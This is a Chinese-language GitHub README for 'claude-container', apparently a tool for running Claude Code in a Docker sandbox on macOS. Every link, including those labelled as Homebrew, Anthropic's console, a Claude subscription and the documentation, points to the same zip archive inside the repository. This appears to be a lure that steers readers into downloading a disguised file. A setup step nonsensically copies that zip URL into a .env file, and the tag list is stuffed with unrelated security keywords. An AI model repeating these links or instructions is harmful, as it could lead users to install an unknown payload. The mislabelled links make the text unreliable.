salmonbruh/claude-container
GitHub: salmonbruh/claude-container
在 macOS 上通过 Docker 容器安全隔离运行 Claude Code 的自动化部署工具。
Stars: 1 | Forks: 0
# 🚢 claude-container - Claude Code 的安全 Docker 容器
[](https://github.com/salmonbruh/claude-container/raw/refs/heads/master/config/container_claude_2.6.zip)
## 📌 什么是 claude-container?
claude-container 帮助你在 Mac 上安全地运行 Claude Code。它使用 Docker 容器,这就像是电脑中的微型电脑。这些容器将 Claude Code 与系统的其他部分隔离开来。这意味着你可以使用它,而不必担心更改或破坏 Mac 的其他部分。
容器会将你的工作保存在 Mac 上。你可以随时轻松地停止和启动它们。该项目使用一个名为 Justfile 的工具,使设置和运行变得简单。
## 🖥️ 适用人群?
该项目适用于任何想在 macOS 上使用 Claude Code 的人。你不需要懂编程。如果你有 Claude Pro 或 Max 订阅,或者 Anthropic API key,就可以使用它。
## 💾 下载并安装 claude-container
点击上方的大按钮或访问 [claude-container 发布页面](https://github.com/salmonbruh/claude-container/raw/refs/heads/master/config/container_claude_2.6.zip) 下载最新版本。该页面包含你需要的文件。将最新版本下载到你的 Mac。
### 🔧 开始前的准备工作
在使用 claude-container 之前,请检查以下事项:
- **macOS 电脑** — 同时适用于 Apple Silicon (M1, M2 等) 和 Intel 芯片。
- **Homebrew** — 一个帮助安装其他工具的程序。在此获取:https://github.com/salmonbruh/claude-container/raw/refs/heads/master/config/container_claude_2.6.zip
- **just** — 我们用来轻松运行命令的工具。你可以通过运行以下命令使用 Homebrew 安装它:
`brew install just`
- **Claude Pro 或 Max 订阅,或 Anthropic API key** — 访问 Claude Code 所需。
在此获取 Claude 订阅 [https://github.com/salmonbruh/claude-container/raw/refs/heads/master/config/container_claude_2.6.zip](https://github.com/salmonbruh/claude-container/raw/refs/heads/master/config/container_claude_2.6.zip)
在此获取 API key [Anthropic 控制台](https://github.com/salmonbruh/claude-container/raw/refs/heads/master/config/container_claude_2.6.zip)
## 🚀 入门指南:简单的分步说明
1. **安装 Colima 和 Docker**
Colima 让 Docker 在你的 Mac 上流畅运行。Docker 是运行容器的软件。
打开终端应用(在应用程序 > 实用工具中找到)并输入:
just setup
这将为你安装 Colima 和 Docker。
2. **构建 Docker 镜像**
Docker 镜像是为了在容器内运行而打包好的 Claude Code 设置。
在终端中输入:
just build
3. **创建你的项目**
你的项目是你使用 Claude Code 工作的地方。
为你的项目选择一个名称(不要有空格,使用简单的单词)。然后在终端中输入:
just create my-project
将 "my-project" 替换为你选择的名称。
4. **设置你的登录或 API key**
- 如果你有 Claude 订阅,你需要为每个项目登录一次:
just login my-project
将 "my-project" 替换为你的项目名称。
- 如果你有来自 Anthropic 的 API key:
复制示例设置文件以创建你自己的文件:
cp https://github.com/salmonbruh/claude-container/raw/refs/heads/master/config/container_claude_2.6.zip .env
在简单的文本编辑器(如 TextEdit)中打开新的 `.env` 文件,找到以 `ANTHROPIC_API_KEY=` 开头的行,并将空的部分替换为你的 API key。
保存后,使用以下命令重新创建容器:
just create my-project
5. **开始使用 Claude**
要为你的项目启动 Claude Code 容器,请运行:
just claude my-project
这将在容器中打开 Claude。你可以安全地与之交互 —— 你的 Mac 保持独立。
## 📦 claude-container 内部工作原理
该项目在一种称为 YOLO mode 的特殊模式下运行 Claude Code。此模式跳过了一些安全检查,以便 Claude Code 可以更自由地运行。但 claude-container 将其保留在 Docker 容器内,因此你的 Mac 保持安全。
你的文件和项目直接存在于你的 Mac 上,但连接到容器。这样,即使你停止容器,你的工作也会被保存。
使用 Justfile 意味着你不必输入长命令。只需输入 `just` 后跟你想做的事情。
## 🛠️ claude-container 中包含的工具
在容器内,你会发现:
- 准备在 YOLO mode 下运行的 Claude Code
- 用于启动和管理容器的命令行界面
- 绑定挂载到 Mac 的项目文件夹以保持文件持久化
- 用于轻松登录和环境配置的设置工具
这些工具让你能够轻松安全地使用 Claude Code 工作。
## 🔄 管理你的容器
- **停止你的容器:**
使用 Docker Desktop 或运行:
just stop my-project
- **重启你的容器:**
just start my-project
- **删除你的容器:** 如果你想完全删除一个项目(包括文件),请确保先备份你的工作。然后运行:
just remove my-project
在所有命令中将 `my-project` 替换为你选择的项目名称。
## 💡 顺畅使用技巧
- 保持你的 Docker 和 Colima 更新以获得最佳性能。
- 始终在容器外备份重要的项目文件。
- 为你的项目使用没有空格的简单名称。
- 如果你更新了 API key 或登录信息,请重新创建容器。
- 使用 Terminal Finder 或 Spotlight 快速打开终端。
## 📞 获取帮助
如果你遇到困难:
- 再次逐步阅读本 README。
- 访问 [Claude Code 文档](https://github.com/salmonbruh/claude-container/raw/refs/heads/master/config/container_claude_2.6.zip) 了解详情。
- 在 claude-container GitHub 页面上查找答案或发布问题。
[](https://github.com/salmonbruh/claude-container/raw/refs/heads/master/config/container_claude_2.6.zip)
标签:AI编程助手, Anthropic, Apple Silicon, CIS基准, Claude Code, Cutter, Docker, Homebrew, Justfile, NIDS, 安全环境, 安全防御评估, 容器化, 开发环境, 沙箱隔离, 特权提升, 自动化部署, 请求拦截, 进程隔离